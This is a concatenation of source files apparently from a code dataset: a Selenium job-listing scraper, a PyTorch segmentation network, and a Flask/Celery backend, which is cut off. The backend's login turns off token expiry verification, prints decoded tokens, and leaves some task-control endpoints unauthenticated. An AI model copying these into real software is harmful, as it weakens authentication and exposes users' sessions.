\n headquarters = self.driver.find_element_by_xpath('*//div[@class=\"infoEntity\"]//label[text()=\"Headquarters\"]//following-sibling::*').text\n print('129')\n except NoSuchElementException:\n headquarters = -1\n except StaleElementReferenceException:\n headquarters = -1\n\n try:\n size = self.driver.find_element_by_xpath('*//div[@class=\"infoEntity\"]//label[text()=\"Size\"]//following-sibling::*').text\n print('137')\n except NoSuchElementException:\n size = -1\n except StaleElementReferenceException:\n size = -1\n\n\n try:\n founded = self.driver.find_element_by_xpath('*//div[@class=\"infoEntity\"]//label[text()=\"Founded\"]//following-sibling::*').text\n print('146')\n except NoSuchElementException:\n founded = -1\n except StaleElementReferenceException:\n founded = -1\n\n try:\n type_of_ownership = self.driver.find_element_by_xpath(\n '//div[@class=\"infoEntity\"]//label[text()=\"Type\"]//following-sibling::*').text\n print('155')\n except NoSuchElementException:\n type_of_ownership = -1\n except StaleElementReferenceException:\n type_of_ownership = -1\n\n try:\n industry = self.driver.find_element_by_xpath(\n '//div[@class=\"infoEntity\"]//label[text()=\"Industry\"]//following-sibling::*').text\n print('164')\n except NoSuchElementException:\n industry = -1\n except StaleElementReferenceException:\n industry = -1\n\n try:\n sector = self.driver.find_element_by_xpath(\n '//div[@class=\"infoEntity\"]//label[text()=\"Sector\"]//following-sibling::*').text\n print('173')\n except NoSuchElementException:\n sector = -1\n except StaleElementReferenceException:\n sector = -1\n\n try:\n revenue = self.driver.find_element_by_xpath(\n '//div[@class=\"infoEntity\"]//label[text()=\"Revenue\"]//following-sibling::*').text\n print('182')\n except NoSuchElementException:\n revenue = -1\n except StaleElementReferenceException:\n revenue = -1\n\n try:\n competitors = self.driver.find_element_by_xpath(\n '//div[@class=\"infoEntity\"]//label[text()=\"Competitors\"]//following-sibling::*').text\n print('191')\n except NoSuchElementException:\n competitors = -1\n except StaleElementReferenceException:\n competitors = -1\n\n except NoSuchElementException: # Rarely, some job postings do not have the \"Company\" tab.\n headquarters = -1\n size = -1\n founded = -1\n type_of_ownership = -1\n industry = -1\n sector = -1\n revenue = -1\n competitors = -1\n except StaleElementReferenceException:\n headquarters = -1\n size = -1\n founded = -1\n type_of_ownership = -1\n industry = -1\n sector = -1\n revenue = -1\n competitors = -1\n\n except Exception:\n pass\n\n if verbose:\n print(\"Headquarters: {}\".format(headquarters))\n print(\"Size: {}\".format(size))\n print(\"Founded: {}\".format(founded))\n print(\"Type of Ownership: {}\".format(type_of_ownership))\n print(\"Industry: {}\".format(industry))\n print(\"Sector: {}\".format(sector))\n print(\"Revenue: {}\".format(revenue))\n print(\"Competitors: {}\".format(competitors))\n print(\"@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@\")\n\n jobs.append({\"Job Title\": job_title,\n \"Salary Estimate\": salary_estimate,\n \"Job Description\": job_description,\n \"Rating\": rating,\n \"Company Name\": company_name,\n \"Location\": location,\n \"Headquarters\": headquarters,\n \"Size\": size,\n \"Founded\": founded,\n \"Type of ownership\": type_of_ownership,\n \"Industry\": industry,\n \"Sector\": sector,\n \"Revenue\": revenue,\n \"Competitors\": competitors})\n # add job to jobs\n\n\n # Clicking on the \"next page\" button\n try:\n self.driver.find_element_by_xpath('//li[@class=\"next\"]//a').click()\n print('250')\n except NoSuchElementException:\n print(\"Scraping terminated before reaching target number of jobs. Needed {}, got {}.\".format(num_jobs,\n len(jobs)))\n break\n except StaleElementReferenceException:\n break\n\n return pd.DataFrame(jobs) # This line converts the dictionary object into a pandas DataFrame.","repo_name":"moncykurien/pred_ds_salary_proj","sub_path":"pred_ds_salary_proj/apps/scrapper/scrapper.py","file_name":"scrapper.py","file_ext":"py","file_size_in_byte":11810,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"99"} +{"seq_id":"3358822765","text":"import functools\n\nimport torch\nimport torch.nn as nn\nfrom torch.nn import functional as F\n\nfrom inplace_abn.bn import InPlaceABNSync\nfrom modules.com_mod import Bottleneck, SEModule, GatingBlock\nfrom modules.se_mod import MagicModule\n\nBatchNorm2d = functools.partial(InPlaceABNSync, activation='none')\naffine_par = True\n\n\nclass DecoderModule(nn.Module):\n\n def __init__(self, num_classes):\n super(DecoderModule, self).__init__()\n self.conv0 = nn.Sequential(nn.Conv2d(512, 512, kernel_size=3, padding=1, dilation=1, bias=False),\n BatchNorm2d(512), nn.ReLU(inplace=False))\n self.conv1 = nn.Sequential(nn.Conv2d(512, 256, kernel_size=1, padding=0, dilation=1, bias=False),\n BatchNorm2d(256), nn.ReLU(inplace=False))\n\n self.conv2 = nn.Sequential(nn.Conv2d(256, 48, kernel_size=1, stride=1, padding=0, dilation=1, bias=False),\n BatchNorm2d(48), nn.ReLU(inplace=False))\n\n self.conv3 = nn.Sequential(nn.Conv2d(304, 256, kernel_size=1, padding=0, dilation=1, bias=False),\n BatchNorm2d(256), nn.ReLU(inplace=False),\n nn.Conv2d(256, 256, kernel_size=1, padding=0, dilation=1, bias=False),\n BatchNorm2d(256), nn.ReLU(inplace=False))\n\n self.conv4 = nn.Conv2d(256, num_classes, kernel_size=1, padding=0, dilation=1, bias=True)\n self.alpha = nn.Parameter(torch.ones(1))\n\n def forward(self, xt, xm, xl):\n _, _, h, w = xm.size()\n xt = self.conv0(F.interpolate(xt, size=(h, w), mode='bilinear', align_corners=True) + self.alpha * xm)\n _, _, th, tw = xl.size()\n xt_fea = self.conv1(xt)\n xt = F.interpolate(xt_fea, size=(th, tw), mode='bilinear', align_corners=True)\n xl = self.conv2(xl)\n x = torch.cat([xt, xl], dim=1)\n x_fea = self.conv3(x)\n x_seg = self.conv4(x_fea)\n return x_seg, xt_fea\n\n\nclass ResGridNet(nn.Module):\n \"\"\"The dilation rates of the last res-block are multi-grid.\"\"\"\n\n def __init__(self, block, layers):\n self.inplanes = 128\n super(ResGridNet, self).__init__()\n # stem\n self.conv1 = nn.Conv2d(3, 64, kernel_size=3, stride=2, padding=1, bias=False)\n self.bn1 = BatchNorm2d(64, affine=True)\n self.relu1 = nn.ReLU(inplace=False)\n self.conv2 = nn.Conv2d(64, 64, kernel_size=3, stride=1, padding=1, bias=False)\n self.bn2 = BatchNorm2d(64, affine=True)\n self.relu2 = nn.ReLU(inplace=False)\n self.conv3 = nn.Conv2d(64, 128, kernel_size=3, stride=1, padding=1, bias=False)\n self.bn3 = BatchNorm2d(128, affine=True)\n self.relu3 = nn.ReLU(inplace=False)\n\n self.relu = nn.ReLU(inplace=False)\n self.maxpool = nn.MaxPool2d(kernel_size=3, stride=2, padding=1, ceil_mode=True)\n self.layer1 = self._make_layer(block, 64, layers[0])\n self.layer2 = self._make_layer(block, 128, layers[1], stride=2)\n self.layer3 = self._make_layer(block, 256, layers[2], stride=2, dilation=1)\n self.layer4 = self._make_layer(block, 512, layers[3], stride=1, dilation=2, multi_grid=True)\n\n def _make_layer(self, block, planes, blocks, stride=1, dilation=1, multi_grid=False):\n downsample = None\n if stride != 1 or self.inplanes != planes * block.expansion:\n downsample = nn.Sequential(\n nn.Conv2d(self.inplanes, planes * block.expansion, kernel_size=1, stride=stride, bias=False),\n BatchNorm2d(planes * block.expansion, affine=True))\n\n layers = []\n layers.append(block(self.inplanes, planes, stride, dilation=dilation, downsample=downsample))\n\n self.inplanes = planes * block.expansion\n if multi_grid:\n for i in range(1, blocks):\n layers.append(block(self.inplanes, planes, dilation=dilation ** (i+1)))\n else:\n for i in range(1, blocks):\n layers.append(block(self.inplanes, planes, dilation=dilation))\n return nn.Sequential(*layers)\n\n def forward(self, x):\n x = self.relu1(self.bn1(self.conv1(x)))\n x = self.relu2(self.bn2(self.conv2(x)))\n x = self.relu3(self.bn3(self.conv3(x)))\n x1 = self.maxpool(x)\n x2 = self.layer1(x1)\n x3 = self.layer2(x2)\n x4 = self.layer3(x3)\n x5 = self.layer4(x4)\n return [x2, x3, x4, x5]\n\n\nclass AlphaHBDecoder(nn.Module):\n def __init__(self, hbody_cls):\n super(AlphaHBDecoder, self).__init__()\n self.conv1 = nn.Sequential(nn.Conv2d(512, 256, kernel_size=3, padding=1, stride=1, bias=False),\n BatchNorm2d(256), nn.ReLU(inplace=False),\n nn.Conv2d(256, 256, kernel_size=1, padding=0, stride=1, bias=False),\n BatchNorm2d(256), nn.ReLU(inplace=False), SEModule(256, reduction=16))\n self.conv2 = nn.Conv2d(256, hbody_cls, kernel_size=1, padding=0, stride=1, bias=True)\n self.alpha_hb = nn.Parameter(torch.ones(1))\n\n def forward(self, x, skip):\n _, _, h, w = skip.size()\n\n xup = F.interpolate(x, size=(h, w), mode='bilinear', align_corners=True)\n xfuse = xup + self.alpha_hb * skip\n hb_fea = self.conv1(xfuse)\n hb_seg = self.conv2(hb_fea)\n return hb_seg, hb_fea\n\n\nclass AlphaFBDecoder(nn.Module):\n def __init__(self, fbody_cls):\n super(AlphaFBDecoder, self).__init__()\n self.conv1 = nn.Sequential(nn.Conv2d(512, 256, kernel_size=3, padding=1, stride=1, bias=False),\n BatchNorm2d(256), nn.ReLU(inplace=False),\n nn.Conv2d(256, 256, kernel_size=1, padding=0, stride=1, bias=False),\n BatchNorm2d(256), nn.ReLU(inplace=False), SEModule(256, reduction=16))\n self.conv2 = nn.Conv2d(256, fbody_cls, kernel_size=1, padding=0, stride=1, bias=True)\n self.alpha_fb = nn.Parameter(torch.ones(1))\n\n def forward(self, x, skip):\n _, _, h, w = skip.size()\n\n xup = F.interpolate(x, size=(h, w), mode='bilinear', align_corners=True)\n xfuse = xup + self.alpha_fb * skip\n fb_fea = self.conv1(xfuse)\n fb_seg = self.conv2(fb_fea)\n return fb_seg, fb_fea\n\n\nclass BetaHBDecoder(nn.Module):\n def __init__(self, num_classes, hbody_cls):\n super(BetaHBDecoder, self).__init__()\n self.gate = GatingBlock(in_dim=num_classes, out_dim=num_classes, force_hard=True)\n self.conv1 = nn.Sequential(nn.Conv2d(num_classes, 24, kernel_size=1, padding=0, stride=1, bias=False),\n BatchNorm2d(24), nn.ReLU(inplace=False),\n nn.Conv2d(24, hbody_cls, kernel_size=1, padding=0, stride=1, bias=True))\n\n def forward(self, x):\n x, act_bhb = self.gate(x)\n output = self.conv1(x)\n return output, act_bhb\n\n\nclass BetaFBDecoder(nn.Module):\n def __init__(self, hbody_cls, fbody_cls):\n super(BetaFBDecoder, self).__init__()\n self.gate = GatingBlock(in_dim=hbody_cls, out_dim=hbody_cls, force_hard=True)\n self.conv1 = nn.Sequential(nn.Conv2d(hbody_cls, 24, kernel_size=1, padding=0, stride=1, bias=False),\n BatchNorm2d(24), nn.ReLU(inplace=False),\n nn.Conv2d(24, fbody_cls, kernel_size=1, padding=0, stride=1, bias=True))\n\n def forward(self, x):\n x, act_bfb = self.gate(x)\n output = self.conv1(x)\n return output, act_bfb\n\n\nclass GamaHBDecoder(nn.Module):\n def __init__(self, fbody_cls, hbody_cls):\n super(GamaHBDecoder, self).__init__()\n self.conv1 = nn.Sequential(nn.Conv2d(fbody_cls, 32, kernel_size=1, padding=0, stride=1, bias=False),\n BatchNorm2d(32), nn.ReLU(inplace=False))\n\n self.conv2 = nn.Sequential(nn.Conv2d(256, 64, kernel_size=3, padding=1, stride=1, bias=False),\n BatchNorm2d(64), nn.ReLU(inplace=False))\n\n self.gate = GatingBlock(in_dim=96, out_dim=96, force_hard=True)\n self.conv3 = nn.Sequential(nn.Conv2d(96, 64, kernel_size=1, padding=0, stride=1, bias=False),\n BatchNorm2d(64), nn.ReLU(inplace=False),\n nn.Conv2d(64, hbody_cls, kernel_size=1, padding=0, stride=1, bias=True))\n\n def forward(self, x, hb_fea):\n x_fea = self.conv1(x)\n hb_fea = self.conv2(hb_fea)\n x_fuse = torch.cat([x_fea, hb_fea], dim=1)\n x_fuse, act_ghb = self.gate(x_fuse)\n x_seg = self.conv3(x_fuse)\n return x_seg, act_ghb\n\n\nclass GamaPartDecoder(nn.Module):\n def __init__(self, hbody_cls, num_classes):\n super(GamaPartDecoder, self).__init__()\n self.gate = GatingBlock(in_dim=hbody_cls, out_dim=hbody_cls, force_hard=True)\n self.conv1 = nn.Sequential(nn.Conv2d(hbody_cls, 32, kernel_size=1, padding=0, stride=1, bias=False),\n BatchNorm2d(32), nn.ReLU(inplace=False))\n\n self.conv2 = nn.Sequential(nn.Conv2d(256, 64, kernel_size=3, padding=1, stride=1, bias=False),\n BatchNorm2d(64), nn.ReLU(inplace=False))\n\n self.gate = GatingBlock(in_dim=96, out_dim=96, force_hard=True)\n self.conv3 = nn.Sequential(nn.Conv2d(96, 64, kernel_size=1, padding=0, stride=1, bias=False),\n BatchNorm2d(64), nn.ReLU(inplace=False),\n nn.Conv2d(64, num_classes, kernel_size=1, padding=0, stride=1, bias=True))\n\n def forward(self, x, x_fea):\n x = self.conv1(x)\n x_fea = self.conv2(x_fea)\n x_fuse = torch.cat([x, x_fea], dim=1)\n x_fuse, act_gp = self.gate(x_fuse)\n x_seg = self.conv3(x_fuse)\n return x_seg, act_gp\n\n\nclass Decoder(nn.Module):\n def __init__(self, num_classes):\n super(Decoder, self).__init__()\n self.layer5 = MagicModule(2048, 512, 1)\n self.layer6 = DecoderModule(num_classes)\n self.layerh = AlphaHBDecoder(hbody_cls=3)\n self.layerf = AlphaFBDecoder(fbody_cls=2)\n self.layerbh = BetaHBDecoder(num_classes=num_classes, hbody_cls=3)\n self.layerbf = BetaFBDecoder(hbody_cls=3, fbody_cls=2)\n self.layergh = GamaHBDecoder(fbody_cls=2, hbody_cls=3)\n self.layergp = GamaPartDecoder(hbody_cls=3, num_classes=num_classes)\n\n self.layer_dsn = nn.Sequential(nn.Conv2d(1024, 512, kernel_size=3, stride=1, padding=1),\n BatchNorm2d(512), nn.ReLU(inplace=False),\n nn.Conv2d(512, num_classes, kernel_size=1, stride=1, padding=0, bias=True))\n\n def forward(self, x):\n x_dsn = self.layer_dsn(x[-2])\n seg = self.layer5(x[-1])\n x_seg, x_fea = self.layer6(seg, x[1], x[0])\n alpha_hb, hb_fea = self.layerh(seg, x[1])\n alpha_fb, fb_fea = self.layerf(seg, x[1])\n beta_hb, act_bhb = self.layerbh(x_seg)\n beta_fb, act_bfb = self.layerbf(alpha_hb)\n gama_hb, act_ghb = self.layergh(alpha_fb, hb_fea)\n gama_part, act_gp = self.layergp(alpha_hb, x_fea)\n gate_acts = []\n gate_acts.extend(act_bhb)\n gate_acts.extend(act_bfb)\n gate_acts.extend(act_ghb)\n gate_acts.extend(act_gp)\n\n return [x_seg, alpha_hb, alpha_fb, beta_hb, beta_fb, gama_hb, gama_part, gate_acts, x_dsn]\n\n\nclass OCNet(nn.Module):\n def __init__(self, block, layers, num_classes):\n super(OCNet, self).__init__()\n self.encoder = ResGridNet(block, layers)\n self.decoder = Decoder(num_classes=num_classes)\n\n for m in self.modules():\n if isinstance(m, nn.Conv2d):\n nn.init.kaiming_normal_(m.weight.data)\n elif isinstance(m, InPlaceABNSync):\n m.weight.data.fill_(1)\n m.bias.data.zero_()\n\n nn.init.constant_(self.decoder.layer5.atte_branch[2].weights.weight, 0)\n nn.init.constant_(self.decoder.layer5.atte_branch[2].weights.bias, 0)\n # initialize the bias of the last fc for initial opening rate of the gate of about 85%\n # nn.init.constant_(self.decoder.layerbh.gate.fc2.bias.data[0], 0.1)\n # nn.init.constant_(self.decoder.layerbh.gate.fc2.bias.data[1], 2)\n # nn.init.constant_(self.decoder.layerbf.gate.fc2.bias.data[0], 0.1)\n # nn.init.constant_(self.decoder.layerbf.gate.fc2.bias.data[1], 2)\n # nn.init.constant_(self.decoder.layergh.gate.fc2.bias.data[0], 0.1)\n # nn.init.constant_(self.decoder.layergh.gate.fc2.bias.data[1], 2)\n # nn.init.constant_(self.decoder.layergp.gate.fc2.bias.data[0], 0.1)\n # nn.init.constant_(self.decoder.layergp.gate.fc2.bias.data[1], 2)\n\n def forward(self, x):\n x = self.encoder(x)\n x = self.decoder(x)\n return x\n\n\ndef get_model(num_classes=20):\n model = OCNet(Bottleneck, [3, 4, 23, 3], num_classes)\n return model\n","repo_name":"yougoforward/Iter_ParseNet","sub_path":"network/gatingnet.py","file_name":"gatingnet.py","file_ext":"py","file_size_in_byte":13055,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"99"} +{"seq_id":"74083280326","text":"import os\nimport traceback\nfrom json import JSONDecodeError\nfrom logging import error, warning, debug\n\nfrom celery import Celery\nfrom celery.exceptions import SoftTimeLimitExceeded\nfrom dotenv import load_dotenv\nfrom flask import Flask, jsonify, request, session\nfrom flask_cors import CORS\nfrom google.auth.transport import requests\nfrom google.oauth2 import id_token\nfrom sklearn.exceptions import NotFittedError\nimport jwt\n\nfrom .datasets import datasets_map, retrieve_data_columns, retrieve_dataset\nfrom .featurize_column import FeaturizerJob\nfrom .featurizers import featurizer_map\nfrom .ml import ML\nfrom .plot_results import plot_results\nfrom .task_updates import get_status, record_error, initialise_task, save_result\nfrom .users import User, Users\nfrom .workflow_data_handler import load_workflow, save_workflow, load_featurized_data\nfrom datetime import datetime as dt\n\nfrom sklearn.exceptions import NotFittedError\nimport pandas as pd\n\nSESSION_USER_EMAIL_KEY = \"user_email\"\nload_dotenv()\n\napp = Flask(__name__)\ncors = CORS(app, origins=[\"http://localhost:*\", \"http://127.0.0.1:*\"])\n\ncelery = Celery(\n \"tasks\",\n broker=os.getenv(\"CELERY_BROKER_URL\"),\n backend=os.getenv(\"CELERY_BACKEND_URL\"),\n)\ncelery.conf.update(app.config)\n\nGOOGLE_CLIENT_ID = os.environ[\"REACT_APP_GOOGLE_CLIENT_ID\"]\napp.config[\"SECRET_KEY\"] = os.environ[\"FLASK_SECRET\"]\n\nMASL_CLIENT_ID = os.environ[\"REACT_APP_MSAL_CLIENT_ID\"]\n\nUSERS = Users()\n\n\n@app.route(\"/api/\")\ndef home():\n return \"Flask!\"\n\n\n@app.route(\"/api/featurizers\", methods=[\"GET\"])\ndef featurizers():\n response = jsonify({k: v.ui_repr() for (k, v) in featurizer_map().items()})\n\n return response\n\n\n@app.route(\"/api/datasets\", methods=[\"GET\"])\ndef datasets():\n return jsonify(datasets_map())\n\n\n@app.route(\"/api/datasets/select\", methods=[\"POST\"])\ndef dataset_selection():\n try:\n selectedValue = request.get_json()\n dataset = selectedValue[\"dataset\"]\n except JSONDecodeError as e:\n error(e)\n return \"Expected a JSON object\", 400\n except KeyError as e:\n error(e)\n return \"JSON object missing expected field 'dataset'\", 400\n # this has to be updated once session implementation is in place\n\n try:\n user_id = session[SESSION_USER_EMAIL_KEY]\n except KeyError as err:\n error(err)\n return \"Unauthorized\", 401\n\n success, data = Users().read(user_id)\n\n user = User(**data)\n\n user.workflow.dataset = dataset\n # Reset the current dataframe -\n # Otherwise, the current dataframe and the selected dataset won't match,\n # which may produce unexpected results elsewhere.\n user.current_dataset = pd.DataFrame()\n Users().update(user)\n data_columns = retrieve_data_columns(dataset)\n return jsonify(data_columns)\n\n\n@app.route(\"/api/dataset-info\", methods=[\"POST\"])\ndef dataset_info():\n try:\n selection_data = request.get_json()\n dataset_name = selection_data[\"dataset\"]\n except KeyError as e:\n error(e)\n return jsonify(\"KeyError, make sure dataset is provided\"), 400\n data_columns = retrieve_data_columns(dataset_name)\n return jsonify(data_columns)\n\n\n@app.route(\"/api/datasets/column/select\", methods=[\"POST\"])\ndef dataset_column_selection():\n try:\n selection_data = request.get_json()\n column_id = selection_data[\"column_to_featurize\"]\n except JSONDecodeError as e:\n error(e)\n return \"Expected a JSON value\", 400\n except KeyError as e:\n error(e)\n return (\n jsonify(\n \"KeyError, make sure all required data are provided with the correct key\"\n ),\n 400,\n )\n\n try:\n user_id = session[SESSION_USER_EMAIL_KEY]\n except KeyError as err:\n error(err)\n return \"Unauthorized\", 401\n\n found, workflow = load_workflow(user_id)\n if not found:\n return (\n jsonify(\n \"Internal server error: no workflow found, but all users should have an associated workflow\"\n ),\n 500,\n )\n workflow.column_to_featurize = column_id\n save_workflow(workflow.to_json(), user_id)\n\n return jsonify(column_id), 200\n\n\n@app.route(\"/api/login\", methods=[\"POST\"])\ndef login():\n login_info = request.get_json()\n token_id = login_info[\"token_id\"]\n pro_user = login_info[\"pro_user\"]\n auth_provider = login_info[\"auth_provider\"]\n\n url = \"https://login.microsoftonline.com/common/discovery/v2.0/keys\"\n\n email = \"\"\n\n if auth_provider == \"Msal\":\n jwks_client = jwt.PyJWKClient(url)\n signing_key = jwks_client.get_signing_key_from_jwt(token_id)\n decoded_token = jwt.decode(\n token_id,\n key=signing_key.key,\n algorithms=[\"RS256\"],\n options={\"verify_exp\": False},\n audience=MASL_CLIENT_ID,\n )\n print(decoded_token)\n email = decoded_token[\"email\"]\n\n if not email.endswith(\".unimelb.edu.au\"):\n return (\n jsonify(error=\"Account must be under the .unimelb.edu.au subdomain\"),\n 401,\n )\n\n elif auth_provider == \"google\":\n try:\n idinfo = id_token.verify_oauth2_token(\n token_id, requests.Request(), GOOGLE_CLIENT_ID\n )\n except ValueError as er:\n error(er)\n return jsonify(error=\"Couldn't validate identity token\"), 401\n\n if not idinfo[\"hd\"].endswith(\".unimelb.edu.au\"):\n return (\n jsonify(error=\"Account must be under the .unimelb.edu.au subdomain\"),\n 401,\n )\n email = idinfo[\"email\"]\n\n if not email:\n return (jsonify(error=\"Email not set - authentication failed\"), 401)\n\n found, message = USERS.read(email)\n\n if found:\n user = User(**message)\n else:\n warning(\"User did not exist, creating\")\n user = User(\n email=email,\n is_pro_user=bool(pro_user),\n # all other fields default\n )\n USERS.create(user)\n\n session[SESSION_USER_EMAIL_KEY] = user.email\n return jsonify(user.as_ui_repr())\n\n\n@app.route(\"/api/featurizers/info/\")\ndef featurizer_info(featurizer_id):\n def error_handler(err, error_message):\n error(err)\n error(error_message)\n return jsonify(\n {\n \"error\": error_message,\n \"citations\": \"\",\n \"implementors\": \"\",\n \"help_text\": featurizer_info.help_html(),\n \"feature_labels\": \"\",\n }\n )\n\n try:\n featurizer_info = featurizer_map()[featurizer_id]\n except KeyError as err:\n error(err)\n return \"Unknown featurizer\", 400\n\n try:\n featurizer = featurizer_info.klass()\n except TypeError as err:\n return error_handler(\n err,\n f\"Failed to instantiate featurizer class {featurizer_info.klass.__name__} - it probably needs extra arguments, and we don't support those yet\",\n )\n except RuntimeError as err:\n return error_handler(\n err,\n f\"Failed to instantiate featurizer class {featurizer_info.klass.__name__} with default arguments\",\n )\n\n if type(featurizer) is None:\n return error_handler(\n ValueError,\n f\"Featurizer constructor succeeded, but returned None instead of a valid instance\",\n )\n\n try:\n return jsonify(\n {\n \"error\": None,\n \"citations\": featurizer.citations(),\n \"implementors\": featurizer.implementors(),\n \"help_text\": featurizer_info.help_html(),\n \"feature_labels\": featurizer.feature_labels(),\n }\n )\n except AttributeError as err:\n return error_handler(\n err,\n f\"Featurizer constructor succeeded, but the featurizer didn't correctly implement a required method\",\n )\n except NotImplementedError as err:\n return error_handler(\n err,\n f\"Featurizer {featurizer_info.klass.__name__} constructed, but the resulting object didn't implement a required method\",\n )\n except (NotFittedError) as err:\n return error_handler(\n err,\n f\"Failed to instantiate featurizer class {featurizer_info.klass.__name__} - it probably needs extra arguments, and we don't support those yet\",\n )\n except Exception as err:\n if err.args == (\"You must run 'fit' first!\",):\n return error_handler(\n err,\n f\"Failed to instantiate featurizer class {featurizer_info.klass.__name__} - it probably needs extra arguments, and we don't support those yet\",\n )\n else:\n raise err\n\n\n@app.route(\"/api/featurizers/select\", methods=[\"POST\"])\ndef select_featurizer():\n # this can be tested in combination with the /db_create_test_data endpoint\n selection_data = request.get_json()\n try:\n featurizer = selection_data[\"featurizer\"]\n except JSONDecodeError as e:\n error(e)\n return \"Expected a JSON value\", 400\n except KeyError as e:\n error(e)\n return (\n jsonify(\n \"KeyError, make sure all required data are provided with the correct key\"\n ),\n 400,\n )\n\n try:\n user_id = session[SESSION_USER_EMAIL_KEY]\n except KeyError as err:\n error(err)\n return \"Unauthorized\", 401\n\n featurizer_identify = featurizer_map()[featurizer]\n found, workflow = load_workflow(user_id)\n if not found:\n return (\n jsonify(\n \"Internal server error: no workflow found, but all users should have an associated workflow\"\n ),\n 500,\n )\n workflow.featurizer = featurizer\n save_workflow(workflow.to_json(), user_id)\n return jsonify(featurizer_identify.name), 200\n\n\n@app.route(\"/api/models/select\", methods=[\"POST\"])\ndef model_select():\n try:\n selectedValue = request.get_json()\n model = selectedValue[\"model\"]\n except JSONDecodeError as e:\n error(e)\n return \"Expected a JSON object\", 400\n except KeyError as e:\n error(e)\n return \"JSON object missing expected field 'model'\", 400\n try:\n user_id = session[SESSION_USER_EMAIL_KEY]\n except KeyError as err:\n error(err)\n return \"Unauthorized\", 401\n\n found, workflow = load_workflow(user_id)\n if not found:\n return (\n jsonify(\n \"Internal server error: no workflow found, but all users should have an associated workflow\"\n ),\n 500,\n )\n workflow.ml_algorithm = model\n save_workflow(workflow.to_json(), user_id)\n return jsonify(model), 200\n\n\n@app.get(\"/api/task_status/\")\ndef task_status(task_id):\n \"\"\"Frontend can poll this endpoint to get task status and can then update the UI accordingly\"\"\"\n result, status = get_status(task_id)\n if not result:\n return jsonify(status), 404\n if status == \"complete\":\n return jsonify(status), 200\n return jsonify(status), 202\n\n\n@app.get(\"/api/kill_task/\")\ndef kill_task(task_id):\n celery.control.revoke(task_id, terminate=True)\n\n response = jsonify(\"Task killed\")\n\n return response, 200\n\n\n@app.get(\"/api/task_info/\")\ndef task_info(task_id):\n task_result = celery.AsyncResult(task_id)\n result = {\n \"task_id\": task_id,\n \"task_status\": task_result.status,\n \"task_result\": str(task_result.result),\n }\n\n return jsonify(result), 200\n\n\n@app.get(\"/api/running_tasks\")\ndef running_tasks():\n # get a list of running tasks\n active_tasks_by_host = celery.control.inspect().active()\n results = {}\n for host_tasklist in active_tasks_by_host.values():\n for task_info in host_tasklist:\n task_id = task_info[\"id\"]\n task_result = celery.AsyncResult(task_id)\n result = {\n \"task_id\": task_id,\n \"task_status\": task_result.status,\n \"task_result\": task_result.result,\n }\n results[task_id] = result\n\n return jsonify(results), 200\n\n\n@app.route(\"/api/getFeatures\", methods=[\"GET\"])\ndef get_feature():\n try:\n user_id = session[SESSION_USER_EMAIL_KEY]\n except KeyError as e:\n error(e)\n return \"Unauthorized\", 401\n\n found, workflow = load_workflow(user_id)\n if not found:\n return (\n jsonify(\n \"Internal server error: no workflow found, but all users should have an associated workflow\"\n ),\n 500,\n )\n\n data_columns = retrieve_data_columns(workflow.dataset)\n response = jsonify(data_columns)\n return response\n\n\n@app.route(\"/api/selectXAxis\", methods=[\"POST\"])\ndef xaxis_select():\n try:\n selectedValue = request.get_json()\n x_feature = selectedValue[\"xAxis\"]\n except Exception:\n return \"Failed\", 500\n\n try:\n user_id = session[SESSION_USER_EMAIL_KEY]\n except KeyError as e:\n error(e)\n return \"Unauthorized\", 401\n\n found, workflow = load_workflow(user_id)\n if not found:\n return (\n jsonify(\n \"Internal server error: no workflow found, but all users should have an associated workflow\"\n ),\n 500,\n )\n\n workflow.Xaxis = x_feature\n save_workflow(workflow.to_json(), user_id)\n return jsonify(x_feature), 200\n\n\n@app.route(\"/api/selectYAxis\", methods=[\"POST\"])\ndef yaxis_select():\n try:\n selectedValue = request.get_json()\n y_feature = selectedValue[\"yAxis\"]\n except Exception:\n return \"Failed\", 500\n\n try:\n user_id = session[SESSION_USER_EMAIL_KEY]\n except KeyError as e:\n error(e)\n return \"Unauthorized\", 401\n\n found, workflow = load_workflow(user_id)\n if not found:\n return (\n jsonify(\n \"Internal server error: no workflow found, but all users should have an associated workflow\"\n ),\n 500,\n )\n\n workflow.Yaxis = y_feature\n save_workflow(workflow.to_json(), user_id)\n return jsonify(y_feature), 200\n\n\n@app.route(\"/api/selectPredictingColumn\", methods=[\"POST\"])\ndef predicting_feature_select():\n try:\n selectedValue = request.get_json()\n predicting_column = selectedValue[\"predictingColumn\"]\n except Exception:\n return \"Failed\", 500\n\n try:\n user_id = session[SESSION_USER_EMAIL_KEY]\n except KeyError as e:\n error(e)\n return \"Unauthorized\", 401\n\n found, workflow = load_workflow(user_id)\n if not found:\n return (\n jsonify(\n \"Internal server error: no workflow found, but all users should have an associated workflow\"\n ),\n 500,\n )\n\n workflow.ml_y_label = predicting_column\n save_workflow(workflow.to_json(), user_id)\n return jsonify(predicting_column), 200\n\n\n@app.get(\"/api/featurize_column\")\ndef featurize_column():\n try:\n user_id = session[SESSION_USER_EMAIL_KEY]\n except KeyError as err:\n error(err)\n return \"Unauthorized\", 401\n\n task = featurize_celery.delay(user_id)\n initialise_task(user_id, task.id)\n response = jsonify({\"task_id\": task.id}), 202\n\n # TODO\n import time\n\n time.sleep(4)\n save_result(user_id, dict(), timestamp=dt.now())\n\n return response\n\n\n@celery.task(name=\"Featurize\", soft_time_limit=60 * 60, hard_time_limit=60 * 61)\ndef featurize_celery(user_id):\n try:\n celery_featurize = FeaturizerJob(featurize_celery.request.id, user_id)\n result = celery_featurize.featurize()\n\n return result, 200\n\n except SoftTimeLimitExceeded:\n # record soft time limit error to database log\n record_error(user_id, \"Max running time exceeded\")\n\n return \"Time limit exceeded!\", 400\n\n except Exception:\n # record runtime error to database log\n err_msg = \"Error:\\n\" + str(traceback.format_exc())\n record_error(user_id, err_msg)\n\n return f\"Runtime Error: {err_msg}\", 500\n\n\n@app.route(\"/api/models/execute\")\ndef execute_model():\n try:\n user_id = session[SESSION_USER_EMAIL_KEY]\n except KeyError as err:\n error(err)\n return \"Unauthorized\", 401\n\n found, workflow = load_workflow(user_id)\n if not found:\n return (\n jsonify(\n \"Internal server error: no workflow found, but all users should have an associated workflow\"\n ),\n 500,\n )\n model = workflow.ml_algorithm\n task = create_model_celery.delay(user_id, model)\n initialise_task(user_id, task.id)\n\n return jsonify({\"task_id\": task.id}), 202\n\n\n@celery.task(name=\"Create 